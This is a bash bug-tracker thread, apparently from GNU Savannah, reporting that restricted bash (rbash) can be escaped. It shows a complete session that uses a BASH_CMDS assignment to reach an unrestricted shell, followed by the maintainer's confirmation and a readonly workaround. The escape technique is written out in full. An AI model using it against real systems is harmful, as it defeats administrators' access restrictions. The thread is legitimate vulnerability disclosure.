mainThe GNU Bourne-Again SHell - Support: sr #108969, rbash trivial restriction bypass...


sr #108969: rbash trivial restriction bypass with BASH_CMDS

Submitter:  Sylvain Beucler <Beuc>
Submitted:  Sun 14 Feb 2016 03:25:31 PM UTC
Category:  None Priority:  5 - Normal
Severity:  3 - Normal Status:  Done
Privacy:  Public Assigned to:  None
Open/Closed:  Open Operating System:  GNU/Linux
* Mandatory Fields

Add a New Comment Rich Markup

Mon 25 Mar 2019 01:12:24 PM UTC, comment #5: 

I don't have write access to the open/closed status. I've never been able to mark a bug as closed.

Chet Ramey <chet>
Group administrator
Mon 25 Mar 2019 01:10:05 PM UTC, comment #4: 

How about marking this bug as Public + Closed now?

(note: the CVE triggered a backport of the fix in various distros)

Sylvain Beucler <Beuc>
Mon 25 Mar 2019 01:03:14 PM UTC, comment #3: 

Sure. The CVE bar is extremely low.

Chet Ramey <chet>
Group administrator
Mon 25 Mar 2019 12:19:29 PM UTC, comment #2: 

3 years later, this somehow got a CVE identifier:

Sylvain Beucler <Beuc>
Tue 23 Feb 2016 08:18:00 PM UTC, comment #1: 

Good catch.  This is a genuine problem, even with the low bar the restricted shell sets.

It will be fixed in the next release.  Interested admins can set BASH_CMDS readonly to prevent it until then.

Chet Ramey <chet>
Group administrator
Sun 14 Feb 2016 03:25:31 PM UTC, original submission:  


When working on a security exercice at, I saw among the contributed solutions that rbash can be trivially escaped, even when the environment and PATH are properly setup, with a simple :


A complete session accessing arbitrary commands :

$ PATH=/custom/bin rbash
restricted> id
rbash: id: command not found
restricted> /usr/bin/id
rbash: /usr/bin/id: restricted: cannot specify `/' in command names
restricted> PATH=/usr/bin:/bin
rbash: PATH: readonly variable
restricted> BASH_CMDS[xxx]=/bin/bash
restricted> xxx
$ /usr/bin/id
uid=1000(user) gid=1000(user) groups=1000(user)
$ PATH=/usr/bin:/bin
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Are you aware of this evasion technique?

To me this is a security vulnerability, even considering the low expectations of rbash, hence setting this item's privacy as "Private".

Should BASH_CMDS be set a read-only as well?

Sylvain Beucler <Beuc>


(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

Attach Files:

No files currently attached


Depends on the following items: None found

Items that depend on this one: None found


Carbon-Copy List
  • -email is unavailable- added by chet (Posted a comment)
  • -email is unavailable- added by Beuc (Submitted the item)

    There are 0 votes so far. Votes easily highlight which items people would like to see resolved in priority, independently of the priority of the item set by tracker managers.

    Only logged-in users can vote.


    Follow 2 latest changes.

    Date Changed by Updated Field Previous Value => Replaced by
    2019-03-25 chet PrivacyPrivate Public
    2016-02-23 chet StatusNone Done

    Back to the top

    Powered by Savane 3.13-c54d.
    Corresponding source code